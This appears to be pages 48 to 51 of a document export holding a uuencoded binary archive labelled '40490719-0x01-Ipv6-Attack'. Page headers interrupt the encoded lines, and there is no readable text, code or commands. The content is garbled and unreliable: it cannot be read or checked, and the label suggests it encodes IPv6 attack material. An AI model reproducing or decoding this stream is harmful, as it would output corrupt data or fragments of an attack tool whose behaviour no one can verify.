Y0Y%QNLWYD7/M)#C6,*JL>_L=AELSG7,L)*DOCM7K0YD=N^0J''?;:EU@>BSCECN03_$=B38]M'3OB.Y5GT;JQ/'9^R;C<^<7%Q4D]P1>VP;.4(14^L7NM)],OLX,#78M?.%^ZM!P?'N$Y=H<:Z)GHV)FF2%\?QEYG&^26`=ETA6.JI>^29:M2E%3#"L$.WW/51MZYF"C1;NKA;NKA:#72T&NUI,=K68[&C1W=6/_JY^='?UH[^K']U=_>COZD=WM5S_Z93_$"<343/QWP1@S5NG^W@?DE?`*CA<MM+]?&;FZ$U9;.8["WPKR5:+)M/(COK4D2UPM5<[VF@S+.?;K(?3Y7N_=XH211P+\A=VV,RPV4#4&:62T$!%$1METG#,GKBW&>5GU7[7U/<L`)G;.8)FC]3B90B"R;Y6U@O6P25_1]KA-K]+?)BM;F:/G*86B^+&<"'*)8ZII\PM32K+("IY8N8PE^9+0[)*E&N2,YHWHQ"N$W-8MM^?&.';/&=!92K%)IC+N.E5<+;Q0(W()4D`3VDF/PCE/YO(N7-!$`K`_W?Z\MYE!H1!0]+!!&B<V7C6&_09ZYV;F2/I81C5LLDN64AB&%A,0<SX6E,*DU.F4<M&UR[5GBO@KQ8D7'17TIX<GUU<6#)OS\`T?183V>Z6#2D%WZM[@6+1:.3$`E?MKYC42!?UR(G(($1PH.[5F@R$@6?/5:2BXDD4PH*NH1.;Z+0'3K/[A`(!O9C%M/@H0F@6]>@NC,K-DEF#D\6\/^G)4N6"5!TCS_I2E@2<$K&<@42!*0M&5'<3NMQ+/R9L&1`=6R(<F*7O.NY(/0H!M.0J:B<]XSL?!2DD"LN9)W$O('_KR,W0HEM%"1;Q3L2QK-%EJ>D'7RXN_(?C>140T.,1,`SE_M8''AW.Q6SN]ZDU?NUW;H\M>WUV<G76RM*)187[]?P$M)MG<4;PZOSJ^N3U:U96<KW(E<7U7'J&#S0I)155M3*/6$6@(L]R+8!*)-1R%"6(J>9A8`-,+IU4=8"_](9HF`YQE5@^Z$E%PS)L*M.5HX0H=,D1#?8;&R(7NU(35^AV8*(5B#P_L4&>`S>>0'MT<4E4?2>?87FR`CMRZ)B%4VT,E2D79QX.:R+V2R8!.LJ4X9,E1%=(TCNA],)M]C7^RH:^.YY+T"HM-%Q;21*7]%`YT3S@<;&<%%$5GBD?1+E0Y4NQQ8J25)%)L%4.\C6%;!+[$E:CM>AU192EQ[D*=%!A)E0'H]WIMFJN]\1'Y;%>39!6,`.;!-A[%E/8T>%2+M8F9M/=X!_FS74",K)?:DAO8M9Q-J\-Y>R(LWK\ZOW_!O>?GV_/S5^;?R_,W)Y864MWU^_'1&`-CT%^-S@R*XUO?Q/DG]L!<U&=J\_E`&^8YJ-R/E,$YP)H2>$Z6FQMQ,MIZL7!J%UK?UUK/QAV/M">M"0-@[0!@4Q^%")CBPKYN]^*H,!R>:,.4<EW

Page 48: 40490719-0x01-Ipv6-Attack

MW([LMCOH.O()_6L-Y-^_.6`*=%EO."`^D>LZ5&5"G'+.BOQ<FK0SV-U*$FOIMBK$WO_,:GCPL%>)TMM%"N_Z/':E:W.IE.:^(,@91037K[H_P0!HSG=AB"RFHMY@^F[O--H/N'^^0.[7-D<,03+W+:DX#S#KU]4H<T2?*_S=UW[72TQ4S\29JKMBF5'PE^[65E8N!YGOI6D,W$!P=I\_Z18\:IQ!^]?T/MOKD[Q_D!VL:^"_"WUM33[2B.JR8KFCT4B&DWCU:Q;\=FS+/(^.:<2Q8G],CK&,/QZ(TP#2&0X^!4AGM#4@?0,AU;6WA!O-0W<E&`C#))%43':,H:N=*'.8YMB5T<&M?$-[BN?UG74=&M29:IBQNETVYW"56:(U-`8WH[.XJ]=T<QV7'<PSCL6P/7/NH,AY;=<XZ(159_M.#RRK4['!HD?,=S8U&PI7Q/?#4R6O`F21WQKT1,BS:9X;#P@/7!(+;KTI],EM3>A!/X)Q9]3K=3H'4CPD!(\#TI`)P4/1U4.A^OF90)TF4$>-[V<"[:Q1VK9+MH=G*T-];;OJ[Y88Z:+E=]ZACMZU.KW]$7"2Y<8[LKN7TAH\1G/KW/[88"O&5M?/KTV3-Y&GXKAU;7:K<N'/7F@49??25UJES=9Y:-]+FH2>RC\-L$2?/LCJ80M_-EZ]NSEV<GIV>73IRUJ`5]S)/_Q]NSRGX=2W?$^HDF0/R-V*$-_)%W;[J$AMGQ4?R=]2F?HR];Y2C4;2/I0GYU<_GEVJQ[?7+]]<OKJF@@[]=7KZZOK5F_.3MUU0H`(4:7>&-O#I[CG^)ILT^6?5%T%?GZE_TGT$H;!6`7>T[+JG0&H`]P0+IM3-N8%D?T%-#3@&71&]!T..TJ'*8;%9I=)*ZC.;_2<S1-9+A7NMGLH\$LLXX5MQC.XYI,$T#X:@I?1-+A!!_>R')ZJFQOX=D`_T>^=MF,YG:YE#[N6JX:XP!(%M]&DD,?<$$[R].KO\@66D;=GX[T_=SA/S?(`*/[X\.Q]1>!O(TV`B'4>VAR.[M0UX8M'*(&OB<XM6K_SJ3,IW<DF3:7?O#4W-M)M]AK*L:?)?#UCJ/-MO*Z&WQM>L2ZVX,#$'*>K#)<&7PH;?4)7F.XA"3_>Z?W9%=@Y),':K$[6%8EQ\\9]##UMT:C0<Y]&K#_0SWW+Z?(D+YT&XC*E/+(;J&KO`;??L09#AV$Q4KSH=PQPQQHZM70;>@3RZ`X=X#$9G]_XRN+=6(78N<WX9U_W&4O&[/_5&X]%HH!$,;1?P2OA=M\IT5?++#CL/P72EG0:O=<EHN`4I).`E%NV.1`;1^>//\[16&TR(7#WUQ5!80MG!KUA@<EZ42N/2QYU';+1[O782Q=C87^L\;^1V!Q>Q66GC7L&]"NY3@]_=RSM7%NA(86;]5L=0F,[?2"R@6?+'%@3SW&;1MLE3/W.$$.CD1&"<J#;)2KR@WH]M1M6G22/)^JH_CN7YD?,@&M:"X6CD8&R&KF4/>M78#"%,&L>P9W5=A6-`W0GMMUA`#8P/%PST9H"?3"D5'R:I&0>/2[Y8H!AW%L:&D$,%IV5::JUX\`L6@0M$=MKJ$85"BZ0^Z%W9:/=&HVV%768_CKEH.1M%TM=\..U5/]Q>/0Z3_"O1#BS2(XME/I`M[J:A@,BK5I?R-<!-@7S;<@HY#WJ:<#;;=5>7M'<RZMWV7:1:3Y9-C;[ME\"W7&5@-F5G(=8/8U6")45556U\P(H@-FS[87U_P]<J^<LQY#A(@T4&$I&\MJ>\Z;V2$Y8)F.,#!(J]*5*NU.T1\"QIXD2=)E$G.8^L]KXN`ER61EJ'ZEKSFM&BN<ZEKHM;EF\EP=&2CWY&H">&/5&`MWWA*G1+#\C_U3NJ/E6B:V$?3)6OUTM&_Y<;HI'H]K&@U<7G(CDK5>"[W@O4_`&7GUY>[.YWHVO]F[Q1>_XL'8XX;0@M5L,+RPR6/B,C>6FUH!B#<_78(F.VA[1PF43@Q>7E^+%9N:Q6#CAC?_W\@BHCM4L$@?[#ZV],++.1ORH19P98ECTE,L&-#'8[R^'A>=6)&;).K:@7AHFS+QQ#TM:1Z5[5>KXM@I)7@I7BW+JQ,$$T_E.?5&Z3H2EE9//K?D97D@01]1V$9,<RL0MKU`WE[)Y:XD[[)!,\`;MJX"JY7I'P4H?9S![U9O;'%8;9S$44K&J?1E!'8-1MV\1PL*A<V%]/Q:O/KQ_6#XV(FV+FK66/ESZQ*3<$9=17L#DFT<FW#2,K495-M5TA80#7:^O:&(N>=-&IG.;2$6"+$,_T18`BCNAOC8&/77ZPH4*/F!]DB#5>EM`EK4DK^DO-D.K\$EK3U5DE0=OBN;ZX\E;T.\+,`>Z!#D?)$LR5B%:*._D;RUM#?4Q;E3F.R@/)*FL^H3`0:E6NYN7NT/H+U8]!6AR"^]3`8.&YXF!1EKW.&A"M:GC$_.<\3@\S_V'>FZM%-EMJ!B")IR3C7YD5G'XW:X59L$*"/I.L6%IT5[OUMP%=SEFLRHE"<0[-6')LM::511[*8TYT*3BF7AWRYSX+F:,%9H9K55SL:RN7HM*8EE%LKJG$;K8W_$>Z9X;V^/'WIX^"0H^G8#P#$7'7PJJ'#)=]$`5+CLF>=/M`I5-$OY@^:_A$N#,]\OIS\^@+LA_]?*$#(6BD/Y<\9_RKX!I:A`:5>.36<IPMR))[-4STY\I@^A28,WP"(\O'][A0EN#RFW`%G[EZ5Z^G^]&H9]Z)]RPW5(*6M?,\.2*N]+^_?4>\_GF+Q&JH'69\7XT(OFVU,P.7.HK7CF%_KXXU"+:@IWQ`:MI*M(?#`E#YJK[IOPM<\HZBW+A<_ZS*G)T;->=:H69_N6Y77`AX)<QUF0<N:.M#QK2_!('\'P/Z]1A+KTM(K)7_$TP8SRQ$P#=9+M3JSK!M)UBN:1Q9*S1MP:!MHO2US'N-0K[TV$&'F3([7=BYQ08M=:+5;"3DDZTUG[Z&5;G\#8QJ0R&O$U<[M%7.VD@9@[2BIWE?"2^35TK%R-NK[.\ME5P_'`<MV?`5G99S-UTS@Q1=8-\V]M0AUBS8N5A<OAS-UP?ST2_[+WUS6NT:E]/_N/Z^K^N*[NC^OJ_EVOJZOM8)YAME3SDG8;&@RWC-F(\SX-L!Y[7;*;><7PH5!!F-I=7?B.N(5+9IO^0L\E$MA)]M1Y>YJFO2J$*S:"O21:*5WKU+6_A?VA*UU*]AQW8YG=^RG9;CRK8]:KNF31V8MI2^'TYM#'&2S)YPO\R>CZ;C7^S/Y(FW9Z0R&0H_HPS5IG+CRIR&QQ<;8/P:[email protected]@]UQUUD%YWG$TTN^KB_FGG(?`?S$X.VH9SCVQ`**G-5I1FM(0<TE<^;(EYO+,3W-3$UR159G89:(+">R4FQ*'`S2AJ0**MS"28IAJU2,Z&3M@/_3WILTMY%E"V.]K?P55Q1+!*HP3P0A0=441978+8D,DE75W9*:G0`21(H@M@$8"(ME/ZL6W\\IKAS>.L,/QA7>.>.&5(QS1M?+*?\EGND,F$B0DL:K[O4=4M44#>O/-P[IF/T0PT55I_&U2WB\(9LN\J&`:13ZX\.LC)0RP$_008+*<'1%_/MGX2BC>AB-=1BDE'B15VX:4D?]P!0/#J/$I[2\4N"BF+$.0K%03A:GE`5K`(V

Page 49: 40490719-0x01-Ipv6-Attack

M].*V8!K!9/\R''R"/`3YC&L.`B0&+_PS,O\7)<V88B8U8WDFA`&PE2(+P1VWM`N?21<$#/<M,3:X6XIW$+C%CQK[G7`,\U!@R?C8(\2+7$X`^3?WIE54RYMQ4MV7Q"6)KP:1AUI$+0Z_DPH$!RQ"E[\=-!3KU"CWQ'+X\/<A[]/-@_J#+&3(_/MC@\<W2)B5[@,.F&VX4)=IR^TX/U/O0XOD6FWPU"5^^I@G32"C(:36;;+A+D8MC]BP$/D>>M(\:I]4**W&H]&=M/#XT_TG:D3PSFWB;;A-="]<>ZQP$7D'V06(M&_.D+*4+1!-E?\D+[Y.:JGS.I5<I7]?@KW<S?5[#>`%_:L.)6_AS&UYZ]:_6MATK\:DW<)@0.=Q9X#XNW`.8C$_O@?3#T)-$5*K`S*1*BS>9:Q"`894%M3WPTM\$,3C=/P?#(D8RFV/;8TMS`/EOOI$;]<'JDK9[JHCMHA!U$]DM6([(6,X-&3MGP)@?2^[email protected]]<J/W7\2_:.GKT(T"[',!6$\.+KH%(&1(>OB/5J(`>-/M#F9BP+(3Q.0NA@G',%F,55*Z+%>0C5]N8H2L7M`-S_WAOUCX$N_W;*W!6):[M7Z;^!3L^$,U\0*N,2<P9<NQ0IF_X5Z-WVF9!+A9]DVC/3M==)(!:CO4.B>^\MFW7>7+!W7<84B/=%S2:F>[7VRW%@QSM:O/CAW&@$/F[8[]B>9XQTVKOV1LL:M<IH=@++C#5X#=%IV"G5YPG9!@Q9^,_//&5YI8J'GN.M3KR_?4JVO+\.W&H5'M-Z+L!X*`HW%11\9!H8$Y1\$L&#*)GA#_7B,,;^1(36+*0EOR..>Y/@:LR5!2M1+?`HT[PH;U%T-UCZHG[/M,^/,6')FJ2-%"3Y*GU8\"QK$EG),UKAVD!C3*,MEQ6#1<>MB8WK0$EYN;TC5)M86-.D:7FMR`5$-<;Z5B"&ODZ-QNA:C_FA!?4JMF3?.1]_;>6D%W^=ZBD-WX]$0V&,MK8\Q8$`?'4/3@N>VJQT!QL65^&.!N\TJM*T2^H7T6B[+9ICC1$NJJ+%(Y/`#2H"'-!5X'$4,H&D(>1Z-(TR;RW_GLTW00M]H!&3QT1=0DE)6>AL:,C*HP4(GZ$C,]]H$*F5K4&!3)J`TCZ]T%C8V$OVN[@MO>WX0AF=XLZFPO1&^\9]YYX3\M=+_43!$4#49J%<T@H-L"ED)@I&(H$G!0K.MI%OD@"4^/R@J=B:/_;70!O2L@Q3QO&&V,!QH4D)B$=0B@.*5HT7U](P65,9XM`27.A79`XEKBZ(:$\I".&+\WC@6GX9<L>K>QALQN$YY1E0CCU5LW)]F">R.UM_EYTO4.O6[.)NNXGTPT+!G;7U!%.X'"&IX,/I]-@HOZ,X'LI#%>HMD\M#(<(MI15J86*F%F4`]%D=[F[O/-]^\F)7<S*T\AFKS'2(31K?T[!LG0"Q3)G#@=BZMCF`MD7U0)B<ICIEFS..)A0`%D6,:_R2*O-(XAYL*Q-W@N!"D%QIMO>_4#I8%M]#MT,7+79T5BGYX%Y'Q"'"_$'%E8;;&7?)$Z7(FXAA8%BT7%-3)'U)=9$)&>MG7#I'!^7XN1!WZ"P\7!OX5"QZK`7X!TXAYMTA_Q)8[-(3N22)NS$LT%5O:Y(M;S58-!P<YX(QEQ<#1W;]<XX.WM\'!70GW`N,M^D)#&K*A\.?.6Z=7*Z?3(0UMS49HY@D`)DT8\:&&FD/.F@_P2CPC3]9=/,P'VMJ5P9>G19<&4L&8\'HF:-B9MA\,>*4Q/AALN(Q$%EP%&LV>+7"?$@BB;&1/=#3?\`D+3X@8YVE]@*KEM)2-BM:<KEOCH,@!ZX4B/8DTS9H-V_HNNQ!7@\,I90(MJ=/:3?%_X4%R$""@0N)'Q5M&027F:SW;X#R0P*[H@WT"^_\*K/>"6=9U5:_/7F(["1Z'HYS^#4(A?&#GD':M?U?%?!$Y0)#KM_X,TMHFPC%E)W$*9,<6URD#R@,![#@)&-/8$=*HM=W#PWOJM.?EJ95($=L04`,\,?=:^V<B_V0"XAXYX`[C^3C$2P(QP/H#C07_&[#"18&EIM#H\`AF0Z\5!2!Z%-+6.J$1IQF39]V]SF^2/)&.?3T<+T?%3W=T<]<K";,K_>M_4-)09::P^\K.?R^M1^.MK_?;?%8)(G8">LE%2<WU2%"@L?J]2.CL/3X;:R<M\W/WLOU8Z7HJI5JCU2_Y_3Q[D_%+?JM;*I7RW5(9=>;IOUA-L>($^OF_"I`.M#8;_6T$K:/B=?-#H]]^,J+0IOGU\O/L*35WNQ6HM%]0?QW,`YN_)"B3`8:"YMN7';BX+S+J*&2*[!CGZST6J]V8C542E\Z8:1BJJ`-_75%?1G,O2OV"4R2N:GM[^$8TKSGL9H(G2]CKK/1^$)=H'8:/O7&L<IJJ+#J]^SU/L/@H&>K%K=*!+UQM$(W>D!=J@[email protected]#/,",T(``F>G/QX.QQ<<3".,[J5PAD/<(`\7N,SRHKU&M:('#J[4OUE3!<&5U=9GU;CFWWJW`7Q7^:O!7A[\&_&W"7Q,.`P6X)V)H[3&!M-MC\*&/V"&0,AP1'E$"-%D`-?1:PDPHCF`_]:49R(F^FZ9P2@A2?OWEB,]-!MNWL$!=0200A)KCC)99M<=9(K-KGF)%=M<MU)KMGDAI-<M\F;3G+#)C>=Y,VWM#ST#G<L"?\H`@"#/`PWE*2UKH7A%\E52\E6<?%7)5TW)5W7RU21?+25?S<E7MEWSUE'QU)U]#\C52\C6<?)N2;S,EWZ:3KRGYFBGY<'=ZJ)P!F[AM)FLXSCZ$MA$<V!6$ZI'S[+6X\SE\Q;RN<OV+S5SA_A?-+@:IY7>4"55N@R@6J4D!*U,S[M&I>HV1(U+E'3):1(W62H<Y&Z+5+G(G531,HT3(X&EVG8,@TNT[!EI-"FR;+)MA39MH4TNM.D4DE)-DZ?)I9JV5)-+-:G45XA?P)JT&_5RO8()HKZA,FM?_Z&5M]C\K@MP`C7(,RV#9;84$TF^K5@&:-W=WA6I7[^6*E7W4JZ%_R#=_?30Z,Z+AMHE&8J8NL>'%Q+KOQ873;)6/0<:'/KB0(YX=G(Q0AJR#-6Q63(..DAM7$$?5QM(]H`ADR!8I`/.YN?HG2/P]"<&T>OEI([(Z4[(EC.D`514,^0,DCR/[P8KHTQM,RC:#76`2(D-?5D)TA^RW$/<_9*XWEMD"HO@Z(D(CIY9P=&SW=:SW2<D."JOMEJVR6K;J:MEJJV6KKY:ML5JV30]E%%DDMUG%R?5N9"ED$C0AQZYH:'DA=S6SM2X*<$+>KR#2\^MZH1%AZ+8)UBYB!59A<;;#6AI,TW."*2'<DC8Y3#JVF;=.TM$=KH-,]?3`;C/]XR*H^8\L4-XMNFT'_><C&6T__E-.#Q`"TV\'U,H[2%K^;8M'?1),))LD:L]RBBMZ,5`G:\P(,5(O?2!A.GWU0.HX1EL\2Y4_3R:NX*RW#C*M30.2&>5F5#$QC\GW.#.8,B:YP"UG4;R#;PA$M-7KMYZZ_P--8;FD9M([:(H"MJ\`"J@CPUX*'=MGZ;1NSWG]"XD+458PT>JM&<PP&A,4[.!>]P$<"6`7O1]B6M[<ON>T`+@>!5P^Y9[,6+<?<,TCV@_/OJY`36>79RDH$]VL]U1[-<.,'^J^2@

Page 50: 40490719-0x01-Ipv6-Attack

M"K&<1.'BCT(X@<K#B7YDCPZ0E"_KI.YX3EV#RJ71Z7S$M6!#P_$I@9ZV(J1YMS>P$>+&66_/7LJB+&HYR$P!+.=A(4\P:%2:8O9I9TTR^BLI'JJ36OI5NY=:FMNFBA.QQ'`<Z%ZI[W4,FXK;"V`@X,?1Q&]"X\'>.;:5"(`G_:'636FHYGD;4<MET7:@<A[RM\RZL%(ZF;L@+/?KJF6>DW\OMVG;VV_L,`TZ(ZG/:0`5BOS[1I<M=UA0)JO`]DI<#?9&A(K7=N75_K%*[8ZNU,Z2XGD[A47HGA7\[E_G<.`S69-JM=G<!;1?>![R:/"LH54[DRJ+(E-/L%L^SMP!.QMU;0-WH;"*M.X2E<%K&_DP#M2*2>\G8:!1=<9X:&FQM`BZWE(SA%ZH-/KLV?,C1_@C:(&<B_K'FJK$#6S?ADM^D$+"ZA`]QP-6'H9\P)ZC!TF%7;L8HH0OM+RU*=+X5\@I,$K'P7P"0D\'I8YMNO(\2QRNK*8H$;@5NO@O#0.!#RK23^B@T*ET1-)RK@"[9;YS..*LRV=\V:9XMO+@IG"V1G&IW5USX(6\5N^_3EX=2[?X8Y;#+A2ER"B>9+&89?=LNL[HZY1XBM&I7<"GIHZ%UEC$OGI<^<YF",9W`1/<?)(6DC7%,M]76X]G5FE$55-P"Z:*ITM<H+'8N/D!+?#R<E&RY.-X=%5YYA21./S@-@EG?GIZ96Z&`0C9?R'H"W]?`3#MZP[(0D=$B5Z:]IASR^;0ECP\BSEJ9"D0!>\B;X^`VLG6<Z_GY([S1)G%[-/8M72[XI.<])Y>-EE-.FR<F74C!1IWMNI'SK#!)A*FV-N&SHX2+@B$B8SN<H=W5MT"B"1C.$WU[F?`P7V7B*PJ/R`F!<%9?]O((5K_IY!:O>YN<5W/1JGU>PYM4_MKV#=:WY>P:;7^+R"#6_K\PINH7>-SRJY[96W8G?U-:6>.:LH&KSN$3%D(078M0(F0FK$5_1`5.V:\D3MP/LF9/0#+\'Q^[LE5P])`+536-*J<CPE3&9JPP";YMW(F03+2@@W[`Q,5+KEO%ZN9HC#Z9]T$[1)B(LUAQC2`!XZ348\B50^^,@.1CM&8NK99DRT0EHIBW12*FDQPKV2%CZ9R&.G..P!--SKBDXBX*S.8KBW>D+C$?&M4P"*0+^CG@A`PG/C.`!EWPF1'FO\B\)$!IOA^8/N&;KL.X`01ZYH-AXIA:!SMT@&NT3,G'2$4EE[!F)GRXI8Q4BW'3NGX$O>`1CU#NIW\2*-/#X#M&`E%`!?TMG74<T6C<B%2#[F"LS;'T4L2TY-8N+R_7LD7.O@NY#SDSWGPZJ`*!S2M#W6/DMRE-7\8-F@S8.;2&ZU1QOUQXKBJ4YCA8D]^FK(XD4<>0HC4@]%[#0PY"=,4M^M])I64'\T*A):3IEBFZF[UV,];4<^;8(U=U$$&I=PGH['>,V?P3KT*"XJJG4@M+X=46SRIS#&MU<)GMW\_Q"7`4!NZ-:&;#'653(13+=OG8TE;9H,[P*)5HI1/M@UEMNQ`--@I*M&2X.B^^Q18.-:\8O!_/QACJ.B(_QP=LS:I54F-,*SU3W(J9MB:L+'!E<^=-ABV[L;SPV$K!=3;R5VSQ>:]B%O3YS+G`N?@*W=[X[+LPN6>'7MN9@]%`O1M:P`[OG\SR*#"3WN,28Q/2W,+L2'L+CMQEW80&>L!0GG#&@-(+QAM?AB$D[^%IX5>$*N`'J+P\C*BHOC413R"'-U3)DQ&#]OX30F#P&:]@FYUPUE8MZ(1_HQ16F,B;DL+\H;5SYN\3S"RXU#7B<`]//:#7:)'2:OT`$&3[%*A]%GT_M/SZ&Q)=!A-3#PVLDX_?7H>[+J_:&N!='GU\E^*_<JI8KS0T@'02A_9[WR<YXM%,%))2E24H"K<=^Y)EE$7OJH![BH&&O$)4_XHJVK8%D/;/EV8DADOO'0@U?YMQZ*WFZDB64,I/F;)K+T\VMLM-@HE]1.&O;V(4-)VGS+0`#,X/C+OH,<L$B02M."DC2=P^D8/!M%WB1_(Q%``87>/G:1#-A_81+U+SP$>`'MU)0\`^)]Z-/F0MM'CG-R,4`#DE&ZE7W_JZ*[-<<(P[X[^"$%U%?0:&>P3KO"3B"[34G4(/L%'0%MSSR+[_[:)I$EMH'&,P\&PW;8>S"<MA\0G<IO9:"4(?+;KVAUJ)6IWX'N3&"EMD2-#<PA3D+'-$^?'S)3^\6VYQ#H/*G,O$ZLE_SB,3J)YMPO[,9M5KLI#,B/SMCDXXD/B:4J^?;>^]^.%P]ZVVS_U(])[4@9)4GJZV2E3D0XMD'<\J$6;A.+\HM2D3#()BH,C^@[$66`=4[9F0!UAV?%8GR5%JF(TL[PFL7,V]$0#@"RG'/J%]8M!0P6+-"/^#I#`^?%1X,JQR]L3Q\_\A7@/_WV6N&;[V!YOODNT:I3,$HOF(%"M62ZZ7B[JGM`.Q=DIZQ1<'TG%3OR9=Y(569EW49%>O2F^*5+=;XINQ7J[Q^K^M>$T;T36-1)_82FPI=!;8+\X2$'*Y_VSOQ6YN[?'CA4M(&WOK2BCGDJJ8)T8YMLG95458D>^'-Z.G^JUW>`/>5B(_P\O,0Q;)\_P5S47OK)_&8./_?2T=`#NV#MJU+--S`'>6`W2:2>9BEA<^&*B$CWPG+WES#WHT%Q(T7V@]<77EW10',M3(W+M+J\7^]_C?+;7:MMY'A.M"JD^O%;YOZFU]?*:>@L43C#R&,M=XZN$I@<Y,LCFMXH/6#TF<K9[NO]S>>X7,F[_`',".^0M@<KKTT_#T%('PNN3*(`,I"W6X_I'EM)2MZ8@K_RK]7;QY^\"_.U,:_::,-[.!;Z%3](]R2MU")>@R7DTS+0P\CMWOWM=_>?>9Y8()KPX4ROF!TA>N9)M"LVK[R)4@1Y-M3%:XT>P43.S_$V*0A!ZY>;M:!91:K5J%9L-B;4KPL4TW=MHMAJE*BI2E5NMNLTI")O.UZV+(U>HL^RWMBJDM/56KMGJ-!I1*HG4%QQR]U&I46RWHQ"BJ"#[FOD9E7'Y;37E;-6]K*6]KYFT]MY6U=WMZ`8NHBC6JSM56JH._5<IDGXMQBFSI7LXKSBK-0:O58APPF>;.[V?5>M:T02\_JH/EQN-ELPMZU6LZ212T>;WD23$V3<@1+&FL00XY#/AG3QSEB-TA4)MQYF$3*\[@L3<`N?-LWX'M3F$$)*:J;"#I#.)M!T).?R<L]'*9#RTJMX3K=$.M1*,LA3J`;.>4C7:P/_K.K0BUG:I5#*U&#A;);::AM-'!$6#J1FB*E1`!:>WQMY]%\9/2*K4>7F`U>;(H,W:A)/VLA(&25,X%><@+1JB9Y$SBO%PTNF%T3EP@3MF>D)#T;[FS*]<*LV>@&\)MT`]@I&;>)4SUJ_F/A&S,,1.X<8/0\;_ZR@)&A=M%U":GK3M)2(P"Z53+I7(SV>ZUJ\[Z*4"WSU27L.&,UGD=2.'>!CVKU@22A16M\#Z`&9QIYP\^S$2_CP'*W@,,Q<>YB$Y%G*G(TNE\/$4#I^6T$3X=782S[H!_M'^P?[?V!5<\TH`:\)"Y/84K@Y?8?3G:>[[UX2C)<0(L]O!!:@,BSPO#>P8^-M%WM'Q^)G:#4J*L%RC]%3A!,1RH/5YM8>Z1K7R!MA+PPRB+K`13C)F-;;C_#?

Page 51: 40490719-0x01-Ipv6-Attack

MQ_@".ST,$,UR^D:IJ"1<DM_OY#?ALH#AO5./VE2.^AW15*D,+Q7C>ET?YBU3M`IP?$!N6MZV_RZWK-EZOOWN;?7BBY53B;H?*Y,M82.9B1]08L6I"L[@(Y)$RM#DV`:'SXV"Y!OJ+13I88/5P/\WF+QFG5'QCIM]\^7'\'__!L7B?((0(J_+9LM$47&$7%,6:)N4?]91NR1EGAF'0Y:;ATA"!YGK63N)1!5O;'69%5^2S(GUB'XMBROF+BE3UU]D>32)H-9,J37983&ZPY5H%YTMASTD9PLQ^3,-55IR$&,7;5XSMV9?D-CJUBPW%)=)+BGL)'!QG6-A/%N:96,%QB5(*VBL<*)8U>0ZBK)U\,$WIMP'`TVCB&.V@2T^-A1QX,>PE#)CL8MI>T^CS4)0;7EF<I[\19<G&(QF1`ZY/&M2=)@CRJP-HU)MJ,Q-DGXF<-BN3COT;A=9D_-XM.E%Y(77J$8Z+IP+-<1_A38MQ%P7$(V=Q3N#6!U.+&"Z:TRX,MU/N5A(LH"5:.<KKB+=8CQM]ZTU<)*>F;$0MM'0[AB!CA3YA.VY?R&@OK4/)R.\DFL!H%VZGO-AT63;R@BH5<M&3*E*S[@1+MXJU(=J$IVE4V"YGH2IA!<^$3XWB2V@7CBIPLPO&B!J1,6-E>=!VMZG1+=LJ2M+5CP"+=P\R_E>R[S+V/Z[53RQ1YF,/G[8#:>0-*+,7*&/N_N=V_WNO`)'7S`M]-GB`R&R$^5..);7?"T(GR2WCC.G+P6Z$U3FIV67PLI>;JCJ%!<WY.E]F7\;M>7',G%9\[email protected])NGTAL`3.J[!6F.WPT]R.RS/F+@84CSCI!72U\%/<AW@M;<"3^PRU'A8G-L<\2C._C*HLQU3T&L46YQ?`4[#>:U$5ZG8*NB(8!N&(GK4*M\<AO-7O/Y!/D*5$@\M3K?'X0#"<?\H.WZJL\\VDP@=X`U7@:S#[D9V_Q%3VHMB'5A8B01Y@U'>;PM/^1#)S/A*.-^W,4I;"QB@V$I'.N'_,0I0L!"O41(.D$EM5'@D/UO^U)_Q2>^.S\]]*DW4V8?\U"G.!!M7LGNI,,I/*0^4M:>TZZ1E2+=*MP;II*C/&B:4@@;R/8))RZSQ#@,&-<$BY]7/>6%/>&Y`70,L^!\/*0"4;6&H#M3\\;K@#3N(YV).E2);Z1.36OI!5\15Y-=/JY/KH;-'R3/N7@#9[2^+Y:VQN]M!_REIR-TW;NGCJ=7BC<!Z3KUX!X.AU%!;-5P0^*[I=-!.;C/ZL$#)7UT00)%M\+JG]#%`P!G;6ZR"&]]"23J&6F'56VR$Y_?&-O3N,BV8#;-0/X-0.EGM\D-WM5-H1J1XD8<N9-[UOLV\**5]%QS&LTF40K14ZE*??/1!&1N!::)KQ<G5B'483M8,S#<ANRX9@!#:N'NEXT$/;ZIHL(`&%(F#&;U@6"(A"A!Z)V+`U$E,(-74'[MUJGM"E&.XPO)LR[9Q<R4WJ+A8?)UF5]C>U+XL<FW8!*+R_TBZ#/`,/:,4$Z;M,Z*H?A"PX:,5PQ@AS$>9L@Q?Q;I%(`0?M4VK#Y'^6S)[X<U3]U$.D',FB+`[MY#O\D;R(D^,+]#CE)H)\"47.9'B;!&UD6X2_U]\]PJQ$O!IGN3$:>\6=K+=RMK.AJ&]J=;=T#9U.OM*MOWM9F9=P>INWN^!KIFU-W;'I3QQ)[_(9-?M,NOW:;M?_D^3T@;[58_<[;Z66RKGUD;M?09/5ME.I7%Q`ZU<.RCNA^,>J093QN><#.KMA"K""^UT(I6X8.>K1C,5G1>@.JI'ZJA%H,,NX4Y$,L\MQ-<:>A=8%06"SW(DMB-ZMC`6I3\>"I/DO0(3<"I:B0C&G62@3@SDCPN0Z*R975S$E]J?XVJW4:XM.M".-+(E-D&E7YJ:I`Q^I.'=?`ED7OA"D1?-$WEW'=N.3]<C^'-PQ?U_X%I5,<M6B[I93GA!W*5VE-&MJ3VVA>-HOI%I5/:7M++E':6Y%STX_8I/:JG'0Q#M7_>M0MRP!6\X*X(^IA3/3V!OY"J57*6:J]1SS5*N7$[9DS?MJN5GX[KWS=5;^J*UM2\^)`UUEH3Y[;#&??CJ>29RABM=)FDLO#$XBWI/C3&8OA<GL:F-LN"/8**@]MQW^.]0H6H5#2,WZ>-%_2\8QF%+E[+@>./(I'(2D70]<+:ALMAK5LMAM.9NQ2M5(+QQ;B$;MFC/[[2#EIM:$+/T?$=H)=`='5N^SR!QZG<V8NFG\Y^W_"L5)J9MQJ1-?193=77Q@[A*-;D=BC6`RKO%F"-(F-AME+N2T)E\4>'_KC\[[;C)3!W[M]].L>!W'$!8W]"?*<N8E;LMW-+,L]4;.,:GG$\>98V%A/+!,U@IS3R%#"*<>M*^L(XYWTJKD]L?,5"U_/LY4;;^]6G=YPNQ-VNWI_;HS.H95\8T-<NALW\\:GM78%#7J)8V&16RW>;M]IN8_DTCN@,:UJT*/9<Q,R),B@Q"V?!.6"'CFJYU4^AMV)#C3N"<Q9`ME/`5[JO8FPO6`H5W`W_87WRO2T(;`%12WJF,5/%=%K+-!EU2M[BVR1"BE*@T\'$T`=Z)HZF+Q)L7?'6E+=